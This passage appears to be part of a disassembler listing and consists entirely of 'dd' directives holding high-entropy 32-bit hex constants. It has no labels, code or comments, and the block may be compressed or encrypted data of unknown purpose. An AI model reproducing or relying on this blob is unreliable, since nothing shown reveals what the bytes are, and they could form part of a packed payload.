		dd 38BE1F7h, 52864178h,	0B2124BE0h, 47035D02h, 5983F422h
		dd 187D7938h, 3D67D95h,	48BE94FDh, 55C13008h, 0E0487797h
		dd 24601D9Bh, 66085ECh,	21BA0A6Fh, 0A2E89753h, 3CF130FEh
		dd 8E7A8002h, 704610A6h, 54250258h, 9429836Bh, 114EFC47h
		dd 6D456180h, 0D671D1DCh, 0A1FDD525h, 8F106820h, 0F688C838h
		dd 2770FE25h, 9DBC48A1h, 2852B388h, 0B217E01Bh,	0A2AA300Dh
		dd 808F45F1h, 8EEFB503h, 0D0E65A4Ah, 277D15D9h,	2420E323h
		dd 782ADE90h, 6918A2B0h, 88009E7h, 0A7368064h, 189B0506h
		dd 3F8C5EEh, 0A16F65Fh,	40489697h, 720C1044h, 0CB1D397Ch
		dd 0C1948812h, 8085118Ch, 2D560869h, 9B9A40Ch, 91FEAAE2h
		dd 0BBE15463h, 80F86C8Fh, 79EB3EFCh, 3E5CFA88h,	0E9BEFD21h
		dd 0E41AA9h, 3207C3FAh,	78CB853Ch, 0AA44869Ah, 66081CA0h
		dd 1024369Ch, 39C6A9F6h, 141037Eh, 0A28506B2h, 0C4441D68h
		dd 510333D5h, 9A745E0Ch, 0BE1090B5h, 98C882B6h,	58B0231Bh
		dd 0A3AA8E18h, 3D2B0B51h, 3D80EF24h, 0B79F5C15h, 231CF1DEh
		dd 52490AAFh, 9240A044h, 149E82CBh, 8C65EC80h, 0A3B33E79h
		dd 6D00404Eh, 0DC0A8402h, 0F116DB01h, 517E1B27h, 0C694B180h
		dd 3B8131B3h, 5432080Dh, 0AEDDF9ADh, 2A6AA987h,	0B4194C60h
		dd 1475FF07h, 0B16C0786h
		dd 4DA0FE1Eh, 0E608EC67h, 9501F381h, 0B7A5F814h, 27CF48BEh
		dd 82E432C4h, 4A0EE0A0h, 0A77CC4CCh, 29F89C0Bh,	168810B0h
		dd 8BC9CF04h, 41AC5ADFh, 0FE796879h, 51044118h,	774E10DFh
		dd 82BCDCD1h, 0E6D06180h, 649C4184h, 0DC61C300h, 1E16E039h
		dd 0B4170BBBh, 14CD28D7h, 6D1ADD60h, 0EAEB0053h, 6B3DC4F9h
		dd 81CFBBF7h, 157D6213h, 20AF60C9h, 526C2890h, 90B098A4h
		dd 0F08B6681h, 68B18034h, 0DC197579h, 0BC30EAF8h, 82A17185h
		dd 0C0D80053h, 62E2FBBh, 8D0A6B39h, 0E84F3A51h,	839437A5h
		dd 0D8F6C8EEh, 84E403C8h, 0F80F89C0h, 1266ABh, 1B9FA19h
		dd 0C2A5AD5Ch, 9A78FB04h, 0F0C065C1h, 14BC17B3h, 0F08B168Fh
		dd 38C0AE8h, 0FC593A45h, 48A0268Dh, 282D88BEh, 68DCAF61h
		dd 9BA20CFBh, 56FA9C39h, 9F0A449h, 1080882Ah, 80B74DFCh
		dd 38BCE735h, 0D55C0F40h, 9E940FFEh, 228031B7h,	380B06B1h
		dd 24AF007h, 682C9A0Eh,	0DC9EAE7h, 0CC12AF07h, 0B1A1F708h
		dd 192CE37Eh, 4674704Bh, 0CDD2007Eh, 189C68D3h,	20CB606h
		dd 0A3742A82h, 12E20C6Bh, 0A483AC68h, 0B8C48F24h, 91A897A5h
		dd 0B4DD807Dh, 0A8027E0Eh, 278E9Ch, 556113Eh, 0E1512812h
		dd 0DBCB8000h, 979D320h, 617DF272h, 0D98F3101h,	896480C1h
		dd 0B486289Ch, 0C01700E7h, 0F723AAA0h, 0FC9ADB31h, 0D166B0C0h
		dd 4839220Dh, 3588F848h, 0F4C0E1CEh, 6C735F9Ch,	0C03D4D80h
		dd 3C249604h, 740BAC23h, 1ACCE866h, 0F8A84548h,	0F688A3DEh
		dd 0B4EC48A6h, 8C7AE8h,	6B0CBD01h, 0A2161D73h, 6A4AE03h
		dd 1E8EE457h, 0C3715829h, 0D9D80110h, 0E661C187h, 3452C0AFh
		dd 13908164h, 12F6ACC1h, 0D2B49811h, 59B20407h,	68180009h
		dd 18CE896Ch, 321B258Ch, 0F8FCE841h, 0D0A1BDD9h, 8612022Ch
		dd 6010B105h, 6B74407Ch, 881F961Ch, 98106D5Bh, 1D5E6E0Fh
		dd 0AF7602F4h, 72BE6881h, 0FD16ED89h, 2CD0625Ah, 0D208688Eh
		dd 0BE350D98h, 3200EE58h, 0B1D81A50h, 81AA3CE0h, 6FD05C84h
		dd 0E76A027Eh, 9FAB3943h, 0FDBBFCA0h, 0F8039E75h, 213F603Eh
		dd 2025A824h, 4E364AAAh, 1405F334h, 45E0D83Dh, 1E3CCA09h
		dd 606C711Fh, 75CA3DDDh, 0FCC64001h, 2B2491E3h,	161C4570h
		dd 24BF05F8h, 0C12CDB38h, 1B1A6AF3h, 86C53831h,	5A236300h
		dd 8C60EE04h, 0BB49FF20h, 0B100807Ah, 5958816Bh, 288EA622h
		dd 680186h, 679F94F0h, 1693CD34h, 465E60B6h, 857F0FAAh
		dd 0CB47C32Dh, 0AA7A81A6h, 0ED07A2Bh, 0A0DF3686h, 0F3BB7B9Ch
		dd 0BFD50459h, 8868CC88h, 1A419D50h, 40DC0860h,	60EA6DCFh
		dd 1E4C309h, 0D9B0D196h, 484D1876h, 0E417E44Bh,	0C844CECFh
		dd 0E493C071h, 1401C36Eh, 4F487CA5h, 0F07D82CEh, 1C68B80Bh
		dd 0D6021820h, 0E25E6281h, 0AA23783Ah, 2E37009h, 1C84290h
		dd 2417258Ch, 94A1604h,	1A8A6042h, 93850E4h, 1F8C8D9Ch
		dd 6CB8BC72h, 2DFC902h,	114606h, 5CC6AFDh, 8F4D1E1Dh, 40E43289h
		dd 27044308h, 417BB57h,	81800791h, 57A5C256h, 582C8F7Bh
		dd 290884CAh, 499C01C7h, 3CA81ABCh, 8C07E848h, 0A73E3707h
		dd 6716D81h, 50206FE4h,	3BFC07EFh, 9FD879A5h, 2AF9C0DCh
		dd 0C4BB870Ch, 0EFB7E400h, 47921098h, 9C6090BAh, 1400D648h
		dd 9D1090F6h, 0EDBCDB4Bh, 1FB00C24h, 3B2AB23h, 60D84FF3h
		dd 1E43A7E8h, 9A26F90Eh, 80BA6A18h, 800C2984h, 0FEECCCECh
		dd 718C048Ch, 0F2F61CC1h, 78DD001Ch, 76C4FEA5h,	82C1FDE9h
		dd 38701CDBh, 4AF4E65Ch, 0DE024074h, 4B1EDD5h, 10CFDC08h
		dd 71FC308Bh, 0D65CE4A7h, 8854CE30h, 5D60C078h,	0AF1230A2h
		dd 0EAE6BCh, 8B04A374h,	141DA647h, 0E305AACCh, 5C87724Fh
		dd 4B9883BEh, 3F0E50Ah,	43CC00A7h, 13A6879Bh, 961D726Fh
		dd 0C705E3D4h, 8837C4Fh, 0EF80A02Fh, 86E40192h,	77E2AF0Ah
		dd 0BF299AE7h, 0EF180321h, 74497FFBh, 1F184A8Fh, 9BA9618h
		dd 7C1D5748h, 6800B11h,	235F42FFh, 2108FA58h, 719C21A3h
		dd 5EE1879h, 0BA54A71Bh, 22C4D1C8h, 0A48001A1h,	51A4F7CDh
		dd 2950A98h, 549C79E4h,	23682EF8h, 1BC2000Ah, 0A1F85D5Ah
		dd 1FC83D03h, 9792868h,	85D5D660h, 81F76CA4h, 991670h
		dd 5E809422h, 0E2481384h, 3072F208h, 320077A1h,	206C3FB2h
		dd 24122DD4h, 1209708Ah, 0AAE044A6h, 0B294D3A7h, 8F88A1E0h
		dd 0B6DC4E00h, 0B1110C0Bh, 7A8700E7h, 0BD22370Ah, 14139CC3h
		dd 4B3828Bh, 5A30FEA2h,	11D30C50h, 13198FA4h, 33FD39h
		dd 0F43B5F66h, 27B1243h, 0F53C35F3h, 0C8916093h, 1B51E0D6h
		dd 0CC54D4A0h, 0EBA04014h, 48B29368h, 663074F2h, 7A892655h
		dd 0FF4E08ECh, 10A47E13h, 0A9C50075h, 0A8F25C8h, 19C2CF1Dh
		dd 5081F814h, 4068BCF8h, 2F3CE83Fh, 3BDAB316h, 0FF3D4400h
		dd 481230F7h, 3061E4F8h, 0E180203Ch, 1D88075h, 8FD11799h
		dd 0E8322588h, 3B9C1401h, 0B0E5FA63h, 0FA60B0E4h, 25FC051Eh
		dd 0E815A704h, 0B8ED2209h, 3110244Ch, 1A0E03B0h, 0E0A7CD48h
		dd 734EE96Ah, 50427C9h,	0B89D4029h, 9280AD11h, 0DC861881h
		dd 58149348h, 760D22BCh, 0A86E33FCh, 0A6930880h, 0A82894F5h
		dd 8C7EE8D0h, 503A82F5h, 0E161D5E6h, 0CC60898Dh, 4C75120Bh
		dd 0C11C04C0h, 0C4E213F7h, 5B30B3F2h, 0D74D000Fh, 0D1EACBCEh
		dd 43002D27h, 0A721313Bh, 77205286h, 0F9F0F2A5h, 169FB470h
		dd 0B628FDB4h, 0D765B060h, 0FB41091Bh, 88815F0Dh, 2B102A0Ah
		dd 0A4982810h, 0FBA090A6h, 3F076F94h, 66A3D5BEh, 0D4299B91h
		dd 9344003Ah, 681794CAh, 84813826h, 90E8DA69h, 80A09754h
		dd 1641E733h, 65FFEA00h, 9AC68C4Eh, 8C384CB4h, 0FD679F0Fh
		dd 499BB301h, 0A65874A4h, 24FF3AE0h, 402B3200h,	7E716CABh
		dd 0DD3E6B18h, 0EB538395h, 0A0E53AC1h, 4CC0881Fh, 0B9842083h
		dd 0EC04EC0Eh, 0BB1C8CAAh, 36099CEDh, 7CEC68C6h, 861180A4h
		dd 1FF1072Fh, 463B6Ch, 0E798D71h, 99E15DBh, 0F1826321h
		dd 38D24C87h, 94889805h, 30C1CE0h, 7A7E9AB8h, 48585D74h
		dd 8C74E8C8h, 3E6CA600h, 5605CE3Bh, 5C68D001h, 7888200Bh
		dd 4CD08442h, 46F18462h, 0A6FE60E4h, 6C60EFD6h,	25140F4h
		dd 88BFC206h, 9106350h,	7B20608h, 4018ACA4h, 244CDF3h
		dd 5F4B1FF2h, 91104068h, 253BAC6Eh, 61A5542Eh, 51EF9B09h
		dd 187E7918h, 0DD75142Ch, 9E17D8CBh, 0C12434B9h, 10EADF8h
		dd 842C39F4h, 8C7AE8h, 0CB644583h, 9021DF27h, 40F5937Ch
		dd 0F25DDE80h, 5C80B295h, 0F600D4E4h, 3BA0B62Dh, 86CFD23h
		dd 167F10A9h, 1E159700h, 0E4BC2089h, 0FE9500E4h, 1F074AE9h
		dd 0A43067EFh, 3213298Dh, 0F1E1922h, 184088AFh,	38D208F2h
		dd 7BC4030Ah, 0D2EA4643h, 6D777C90h, 198C410Ch,	3A9A5911h
		dd 6E5B28D3h, 235B0010h, 5E471437h, 9E1A4E07h, 70C09F30h
		dd 5B1B1853h, 0B36207D4h, 0D452824Fh, 22CD77Bh,	76B75Eh
		dd 2764676h, 881DF83Fh,	0BCC7864h, 6F700E08h, 0B413DC8Fh
		dd 0AB00053Ch, 756B922Fh, 3A2DF3ECh, 0C54A9D02h, 0C060DADCh
		dd 0F8B13C67h, 5AD0140h, 0AC900C2Eh, 0D8282BE4h, 0E904E9C2h
		dd 49B870h, 61997C8Ah, 0FB4EB648h, 0D8B119FAh, 0E5129C16h
		dd 32603CC1h, 81AB7FC0h, 0D0083089h, 868300EDh,	9644BE04h
		dd 8D50D07Fh, 62009BB7h, 0C858FC7Bh, 7226C7AAh,	0DDA50013h
		dd 0BEECC05Bh, 0E88B95A3h, 30F73336h, 38117CBBh, 9F0139D9h
		dd 9CAE64C6h
		dd 6D8F255h, 5E7014Dh, 9BD5D4FDh, 0A4C8604Bh, 0C42444EBh
		dd 0CD40C2CCh, 0FB3448C0h, 102E284Ah, 0F0007823h, 0ACC523E7h
		dd 168D163Fh, 80930202h, 0ACF66FA8h, 627DB380h,	4B5A7E79h
		dd 10388B88h, 0B6924B51h, 6DFEA00Ch, 34964C49h,	800C3301h
		dd 0FE068410h, 5162720h, 3B9D287h, 32D8AAA0h, 0F2D4A2E4h
		dd 6A8931FFh, 24A9A800h, 0BEC99C6Fh, 6D6B48h, 0A5A19F40h
		dd 0F01E2927h, 71E40C8Ch, 4D0081B1h, 11877665h,	390E8D17h
		dd 3080BB05h, 0A773A4F8h, 502D9093h, 64CCC766h,	3B766078h
		dd 89E015Bh, 56C60977h,	0F0602066h, 0F080A241h,	61CAF590h
		dd 4E0B539Ch, 85FCE0DEh, 0F890AE4Ch, 4118520Ah,	0EE82F372h
		dd 66914056h, 0C824727h, 0FD001BB1h, 0F036C694h, 255B07ADh
		dd 92D9CA16h, 18E1247Ah, 0DB481099h, 0A4220C97h, 84B92192h
		dd 0C4DD618h, 5D682048h, 860AC810h, 89D05ED5h, 0C059A982h
		dd 0B5502500h, 0B856082Fh, 0A7A22DD4h, 40C64C4h, 99E49206h
		dd 7E9129Eh, 66B4B071h,	26DE623Dh, 0D564F07Dh, 0AF78CDC1h
		dd 9B89048h, 601E8455h,	9C44945Ah, 0CB5F0EC6h, 0A40AE22h
		dd 0BA9396C3h, 38D01F3Bh, 8F745C86h, 0BCD096A4h, 2E228A3Dh
		dd 45287A10h, 1664026Dh, 40E059B2h, 77405498h, 95A23E0Ah
		dd 4EC40FACh, 0D02C3A04h, 9E0A548h, 9C582A50h, 0BE220815h
		dd 0F29622D0h, 0B0EC2460h, 7F467C24h, 0DE841702h, 2452FD6Dh
		dd 1CEEAC80h, 0B0809480h, 0AD48843h, 0C879D2A0h, 0B600BD28h
		dd 2D650770h, 9716FDDAh, 14585C30h, 84B8E700h, 0FDCC4287h
		dd 0FC1D00F6h, 0AA2829E4h, 9E70EC92h, 3B1417BDh, 34F40046h
		dd 4C2076E2h, 69D705FBh, 284EC4Ah, 28CBFA98h, 77E410E5h
		dd 69688360h, 68D0BC4Eh, 0F2FCD9F6h, 0D0A525FBh, 24A42C6Dh
		dd 3F09465Ch, 50990166h, 2387AB08h, 0F02C347Fh,	208004C8h
		dd 818EE460h, 0BC0C3C6Ch, 0EA008C79h, 9052C880h, 259CF1A6h
		dd 0D05021F8h, 131F8E10h, 0A068A696h, 0CDFDAEh,	4F439E88h
		dd 68BE4CA8h, 0E003C85Eh, 8431F602h, 68B758E3h,	9A8207CBh
		dd 981FDA30h, 78844890h, 258C80F8h, 90E0AFDEh, 95951F08h
		dd 0DC6D82A4h, 0CFB3E55h, 0B0727870h, 6BDC01B5h, 5C68180Bh
		dd 8844386Dh, 5E3CAE37h, 0E401FD46h, 188C82BBh,	9019AD1Ah
		dd 30ABE00h, 0FCB354DCh, 19CEA720h, 68028B00h, 533645Bh
		dd 75F8139Dh, 0A8A0C4BBh, 2041938Ch, 0A1D62A58h, 593073C2h
		dd 54D9CEC6h, 6D1860A5h, 86B8087h, 88B42A18h, 9D041670h
		dd 0D432BC10h, 6B188E6Ah, 19F5DE04h, 200F10A4h,	909F9B23h
		dd 73ACD234h, 1A8104C8h, 529D95F8h, 8A0268A3h, 8F171D8Ch
		dd 0B11B89Fh, 0A5B72580h, 0AC256A3Fh, 184B76Bh,	0BC860741h
		dd 0EC406A81h, 0CAF9287Ah, 1F9F7A5Fh, 4DFC988Ah, 0E8E9A9B4h
		dd 711D9911h, 0D25EF050h, 688C1F52h, 3B04006h, 0AE0765Eh
		dd 1E39C49Dh, 2C0AD98h,	8FA3CA81h, 7CD85CABh, 0F5007346h
		dd 0B469C415h, 0F2260E9Ch, 90845012h, 0A402811Ch, 5C69A1FEh
		dd 7792F3C8h, 6BF08009h, 42BF084h, 0B9024327h, 0BC08E826h
		dd 0A1D8C0Bh, 0A35DDEC5h, 780386CAh, 0A8082C2Ch, 0D0361453h
		dd 2AB19A00h, 0DEED0175h, 8791A319h, 980E4D1h, 6730DC8Bh
		dd 0D2259D17h, 0F4104124h, 0A5D85AECh, 60FFC450h, 41E16AEh
		dd 748093B9h, 0FC3BAB76h, 49007123h, 7D626C7Ah,	1FEE0FF2h
		dd 42323088h, 6D5FE68h,	0BE08C56h, 4BBC67C0h, 0AC8C857Dh
		dd 8C7DBC34h, 9DD82A17h, 980344A2h, 0D5E29B4h, 4643F2D0h
		dd 1606023Bh, 408EE262h, 60EEB088h, 0F1AEE53Dh,	0C45E14E9h
		dd 0C897F496h, 0ED12E8A4h, 0E00A0C66h, 1647C41Eh, 601FB810h
		dd 74F9D0E8h, 68C73B8h,	0ACA79F45h, 0D627D0C5h,	0EEC84E2h
		dd 64D3DF40h, 0F20A9B03h, 340D1E7Fh, 80465Ch, 7402453Dh
		dd 4B4C0C89h, 7A70CDB1h, 9B45FC44h, 9884CCEh, 9880D8C3h
		dd 7D829693h, 3ABF6EAh,	0CA5024FDh, 35A0336Ch, 0D024F1BDh
		dd 4674FC7Dh, 0D6AB057Fh, 0F8177DD5h, 0AEA27CA3h, 4CCDD833h
		dd 0F1012439h, 0FC9C0090h, 0F6BFA96Ah, 0DEDB6601h, 5861FA1h
		dd 0A41BE822h, 6CC0E98Eh, 0FB01BF2Bh, 66FCE9CEh, 7603545h
		dd 6FB409AFh, 0B8563D3Eh, 2D5C00DCh, 9F9C4C7Ch,	0CC2437FAh
		dd 0A408B4E2h, 431E0461h, 0C03CBC22h, 9C496402h, 47D37F3h
		dd 0CC7193A1h, 0B96F92E8h, 138D603Eh, 4E00954Bh, 3B55E92Eh
		dd 0D17E04D8h, 0BA275C50h, 6907C06Eh, 0C079C2A2h, 0ADF5D6D7h
		dd 0B0F9ACB9h, 99C0C319h, 95075A4Dh, 0F59A8D7Eh, 7015F822h
		dd 19C42710h, 8B4BF444h, 0AB2B0B3h, 0FA2E8930h,	0A6FA09EEh
		dd 0D48E770Fh, 8C027848h, 56E3C206h, 80DF7158h,	0ED162D49h
		dd 924DBC22h, 70B79D08h, 0DD8F7200h, 0CE94F1h, 0A902BF11h
		dd 8024520Ah, 99B4380h,	4F13A68Fh, 57642C71h, 0E74B542Ch
		dd 3CAC1C84h, 0BB568200h, 4DB537Bh, 0FB83891Dh,	713B8A09h
		dd 33728C2Ch, 21D06B29h, 0BF3B1818h, 0E90FC749h, 60D07EC1h
		dd 137F09A4h, 8003C302h, 1CE230C9h, 0C25A90A7h,	0C440E8CBh
		dd 6F5D52A0h, 1698849Ch, 28955D85h, 79F29CA2h, 5933F30h
		dd 0E4F5C2E9h, 22ECC73Eh, 0D611BA47h, 0DC889E2Bh, 1DC84F40h
		dd 8878C068h, 0E3407DFEh, 9C899594h, 74D92059h,	0E4006618h
		dd 1D6A8B11h, 4F105208h, 8A7C4477h, 2A0A01B3h, 523E7D2Ch
		dd 7EC4A1E0h, 7EB46Fh, 7C5D0194h, 2EB5C7DCh, 9F502504h
		dd 3CB9C40Bh, 0C81CCA92h, 0F88FC30Bh, 20F7BBF9h, 0B74135D8h
		dd 12F0F420h, 0A1D02F46h, 0B8B82958h, 377D0185h, 901DD042h
		dd 0AA6B112Ch, 5B004829h, 577C3163h, 68091430h,	4276201Ah
		dd 6F045CD8h, 60D48862h, 0A4E2785Ch, 0A0135F9Ch, 840777B8h
		dd 0F0B44195h, 72F2E863h, 7CE4630h, 0C74C7F5Eh,	3C404FC0h
		dd 9C4A7408h, 0F809D619h, 0C060F680h, 0A7AA4BDAh, 0C4A6A0D4h
		dd 0C1CD17E2h, 15A858h,	0B39AFCD4h, 4B21624h, 8D1E15C2h
		dd 2B8A0CFh, 0C21F9B25h, 6408E794h, 0E0A06777h,	3AB90466h
		dd 36250C29h, 3C00B071h, 512D4BE9h, 65C200FAh, 0BA94FD32h
		dd 921455D9h, 22BC86C9h, 3304008Bh, 608A7B7h, 0D8A2CDF2h
		dd 12DC9056h, 0E3EE9C8Dh, 0C18F25B4h, 9A081C94h, 0C7461810h
		dd 0A0649C25h, 0C020ED95h, 0DD960F18h, 1234FC3Bh, 0E4048761h
		dd 8C09C36Eh, 6A31778Ch, 3A1E297Fh, 0C467FD1Fh,	39430294h
		dd 9C167508h, 0BFD9CC40h, 4EF3824h, 0C1008B11h,	216E4BDDh
		dd 0CE00A57Eh, 0B748EF5h, 2E69F22Fh, 24019F01h,	80467448h
		dd 84A0A815h, 0B844ED92h, 0F4620320h, 0FB17A10Ch, 0A3902AF0h
		dd 0C2880482h, 6E3E30A1h, 0E43E288Ch, 99EAF490h, 9F3EBB42h
		dd 23203B4Eh, 702B007Eh, 0B6947FE2h, 0EDD24400h, 6AFD33ABh
		dd 1E09005Bh, 5425AFDFh, 3134A62h, 2864E960h, 0F60048A2h
		dd 0F7FC20E8h, 0C34BF9D9h, 42B4C49Ch, 2F49082h,	299C1C64h
		dd 0A03078F0h, 97BD424Ch, 0F944801Ch, 949825C6h, 6059E489h
		dd 16044A5h, 90078F84h,	209D4ED6h, 0AE3BF5CEh, 6E784C1h
		dd 78C893A4h, 12EFF104h, 0E7CDF441h, 0C9BFA0B0h, 8AFA241Eh
		dd 0D8411ECh, 29980B86h, 12D15EF0h, 0E2A52024h,	0B8B9D288h
		dd 0DC1FFBB8h, 8008DEFh, 1A0A0F2Ah, 7C809754h, 938FCFBCh
		dd 0E804A65Ch, 0BE008C74h, 45F582C7h, 40548C27h, 2088D9C5h
		dd 0DEA209D4h, 0F85418FDh, 9745125h, 5CDA0286h,	0F8F2F709h
		dd 19470F1h, 0FB34F623h
		dd 0E866E92Fh, 36F0479Ah, 16E73804h, 33448F0Eh,	508C4E9h
		dd 0B8EF3904h, 388B960Ch, 0C0CE71C8h, 0DA6292E0h, 7F662F2Bh
		dd 0D1578C20h, 55725414h, 0A3C4C1Dh, 0F0E6B180h, 1B5EDC2Bh
		dd 0C1F210E4h, 6FD416FDh, 3E4A04ACh, 4D8221D7h,	0EE85C4Ch
		dd 0D31145FEh, 11A82CA9h, 1BF74A00h, 0C216D92Eh, 6C02009Fh
		dd 0B800162h, 873E0444h, 0CA0AA5BBh, 40D076C0h,	51A8EC7Ch
		dd 0A0F91100h, 0AE7805D2h, 969401A2h, 432934E2h, 7398A570h
		dd 5949D088h, 98302EFDh, 97CC4C8Ch, 76487818h, 17B1D602h
		dd 0DE731468h, 4D1A8A7Ch, 44292D4h, 52F972D8h, 416C14B4h
		dd 6C007E87h, 678F9CE6h, 0DDD94E4Ch, 0A8CA2AD0h, 0D1C7AEC8h
		dd 0BF2EAA70h, 20FC0D64h, 0EBC0A6CEh, 7F6093BDh, 48973100h
		dd 569DAE0Ch, 1E852FE7h, 6FE4BC10h, 1C2379C0h, 0D99115h
		dd 11A02012h, 77B20B0Eh, 7393A202h, 777B3F4Eh, 2A004CB7h
		dd 12800915h, 123F702Fh, 0AC0DB69Bh, 0C694801Ch, 18FE281h
		dd 46E7F355h, 0BEA6AA3Bh, 98AC00C1h, 0DCFF74DBh, 36D600A7h
		dd 6BB6E984h, 273861A2h, 0FA9B8616h, 0B578A0A6h, 3601F4BDh
		dd 0B09CFB08h, 32822440h, 0E4AC5120h, 0A294347Fh, 307EF290h
		dd 0CD00BC4Ah, 0AAAD0520h, 0E0E54D14h, 1C8F9FA7h, 0F0D020D3h
		dd 0B077B34h, 84A5C6Ch,	6404846Bh, 9663CB0h, 27EFB743h
		dd 6C4A454h, 4A049C4Eh,	10E0ADA1h, 63288938h, 0F400A0F4h
		dd 0E86806Bh, 839840h, 21C69AFDh, 0BC0C237Dh, 1DD26000h
		dd 6D247B5Ch, 0E76E0108h, 0BA188C6Ch, 0FCBC028Bh, 68EF804Ch
		dd 0AC752B85h, 12CECA07h, 6D90A7F8h, 90DB4D8Ch,	82FCF890h
		dd 12441175h, 24094CA7h, 9221E052h, 72E48BACh, 9500547Ah
		dd 0D0F324AEh, 3F8C3EF7h, 0C72CD232h, 25A70FF1h, 0F604B120h
		dd 68C5F12Dh, 0AC00DBC0h, 0E5F81A6Eh, 6669C0A6h, 9E02181Ch
		dd 2094B195h, 342F75FEh, 18ADDEE2h, 8E5C8064h, 0C9610038h
		dd 9C1356FFh, 0F5F934DEh, 22F8A920h, 881E09A6h,	0B0246E28h
		dd 320A4135h, 912AA664h, 1AD9270h, 0CC7D7F23h, 0D83FBF3Fh
		dd 9F877D80h, 10D58945h, 8B90A411h, 20253603h, 76826CABh
		dd 0BB840455h, 0E888045Fh, 0C852179h, 0ABD8E014h, 0E02AE883h
		dd 616807Ch, 738B59C9h,	0A7030818h, 9130FC20h, 9C52C039h
		dd 881C9499h, 6A04B69Ah, 74D0F032h, 0B9894E6Ch,	1877F1FCh
		dd 41F403A7h, 719AD2D1h, 0F6A438D8h, 0C4A8F8F2h, 870CD7B4h
		dd 7086F052h, 0A0B79DA7h, 8DAFD507h, 432FEE60h,	90862F45h
		dd 1D7700E2h, 81AD9148h, 0E3CD84B2h, 7397EF3h, 6DFB613Ah
		dd 0FCFF51F8h, 0C00BF8B5h, 114A7614h, 0DC338ABCh, 893408h
		dd 0D1C7EE36h, 972DAABCh, 0DF68E9C3h, 23AC2F6Ah, 0A6EB0075h
		dd 28BE9388h, 0CC68C012h, 0B89FC5Eh, 0D9A0D997h, 2E51874h
		dd 840D86CBh, 30F8520Eh, 0B6252090h, 0C645107h,	2E982BBh
		dd 2F692605h, 978076E1h, 90EF21F2h, 0B7B520CCh,	64203C25h
		dd 83B01DCh, 80739A59h,	7408BC56h, 19A8C46Ch, 5E4C943Bh
		dd 0D009AB46h, 1C3746E8h, 5A6A8A80h, 0B69846h, 76D1CF7Fh
		dd 0AF381A0Ah, 1A7C4795h, 0A48E414Fh, 0E4136BE9h, 3EAEDAA8h
		dd 18229926h, 128E1008h, 9B0B36Ch, 0AECE189Ch, 0C575C990h
		dd 610CE484h, 0FCE00259h, 30FA5A3Bh, 0F1697F8h,	0D89AD923h
		dd 89059D2Eh, 0D57092A5h, 0A3543C87h, 0F8208C05h, 6349DE24h
		dd 46D459A1h, 8C2C81F6h, 0E2400C17h, 95C045F8h,	0DD082447h
		dd 749C2C0Fh, 17418EDh,	770AC7E1h, 74A86898h, 8C006BE8h
		dd 0D86DC454h, 526C1AEDh, 0B2E23023h, 185E230h,	6FDECEC6h
		dd 0F18898D9h, 39947DBCh, 0D2478104h, 0B6065FD1h, 7ED460h
		dd 8BEDC13Ah, 0D01F465Bh, 84A0DC4Ah, 0A20B12ABh, 0B8C0F99Ah
		dd 13B900F6h, 162CF556h, 68121FA8h, 0F4B362E4h,	41C4822h
		dd 6EE52DFEh, 0A8629D4h, 0C05125A0h, 0CC947C00h, 2810B6A9h
		dd 60CA15B9h, 93F81E09h, 0A502CDCEh, 89CF6B5h, 9E4A746h
		dd 69A34F0h, 680A6062h,	333B434Ch, 6F9090B5h, 0CAA0EDAh
		dd 41FD4749h, 726532CEh, 9B483018h, 0BCDCEF49h,	0FAE60021h
		dd 0EF848C4Ah, 0F7126233h, 14B2178Bh, 29B1E1Ch,	45DE0414h
		dd 0FF036C76h, 0C125B687h, 0D4603943h, 2EEC880Dh, 0A8FAD5FAh
		dd 0A14F3800h, 34E5C916h, 0FC524886h, 0D8048471h, 3B31AD07h
		dd 200244A8h, 293C6CBBh, 5FD63C76h, 0FC04CC2Eh,	0B032202Ah
		dd 149E4490h, 0CEDC4DAFh, 0EC2D76A0h, 4013990Bh, 48C8A3CDh
		dd 75F61084h, 0A921001Ah, 778026Dh, 0ACAA1653h,	0E8F8A911h
		dd 0AE9D0079h, 2AFE88ACh, 781CB947h, 1AD189Ah, 0BC1A084Ch
		dd 30BD5FCAh, 0EC25ED02h, 804C7CAAh, 23E85A9h, 0F5090806h
		dd 443B7D59h, 0B3282634h, 53D200B3h, 3C7E6902h,	1D756C01h
		dd 384111EFh, 40803068h, 2992DBDFh, 1347BE0Fh, 649793CFh
		dd 0D69874A9h, 5EC3B07h, 73B9CE94h, 9435A75Ch, 0B74F6B01h
		dd 0EC8B1BEEh, 5C422832h, 600C1955h, 9576F8F0h,	52080068h
		dd 14A8D428h, 0C798D22Dh, 627B6424h, 81F44064h,	0DC0A4C8Eh
		dd 23842F5Ah, 2FF0207Eh, 6484D93Dh, 0E6F502BEh,	1480D641h
		dd 0F27704E4h, 0C44B48F1h, 0FEBC204Fh, 0D2006340h, 9FB2AB8Ch
		dd 0ED4C4ECh, 4841367Fh, 393246E0h, 0FD0543EFh,	8D4C2209h
		dd 4AF6FCA4h, 0D440B2AAh, 8CFEB844h, 0CAB3CB3Eh, 80C4D404h
		dd 8054E812h, 72E2F0CFh, 0BCEE2D66h, 527804C8h,	0E7DB0F00h
		dd 0CC2791CAh, 61E832h,	9E4A59F6h, 481E2B6Bh, 0A4477608h
		dd 570C4092h, 35781DBBh, 0E2C8DB62h, 0CC0E04C5h, 68036A14h
		dd 0FB21C2D4h, 7498DA30h, 0A10F507Ch, 0BE007EE2h, 33366E8Ah
		dd 0C07ABC27h, 0B3254A21h, 0D600A490h, 527E6D7Bh, 1CAAE909h
		dd 49C8FD61h, 5EACCEh, 0CCB48069h, 0D31A6A6Ch, 12908038h
		dd 0CE25EB85h, 31585110h, 2B6E0881h, 0E94F2428h, 0C81C8E6Eh
		dd 3D09C07Dh, 0E75A7E20h, 0FE88F0CFh, 432A89C0h, 0A92025F0h
		dd 26D75059h, 21B2674h,	3207B59Ah, 5125ECD6h, 44856514h
		dd 0EC0E86C0h, 2488879Ch, 2DE42C98h, 2482B8ABh,	8029896h
		dd 82A8F191h, 742C2282h, 0F9E9A456h, 187A7950h,	77BA00E7h
		dd 2018D6C9h, 0BC040CACh, 46757893h, 0DAD30CADh, 9B578754h
		dd 2EE46980h, 931A01BEh, 0D5B90EAh, 1396F08Ch, 0A4BA022Eh
		dd 98A0B41Ch, 90175B35h, 33324420h, 6C0B547Eh, 567DBE1Fh
		dd 3373DCA0h, 96A3DA12h, 8586C823h, 8898C420h, 0B7674A68h
		dd 0E8C04CA8h, 0E4048CABh, 8D1898BDh, 0F2D7C0ADh, 30B3F2C4h
		dd 0FA008145h, 7B5AA95Fh, 16F6EA14h, 0E03E189Ch, 0BE1322CCh
		dd 80439460h, 679D602h,	386820C1h, 4495196Ch, 88960C4Ch
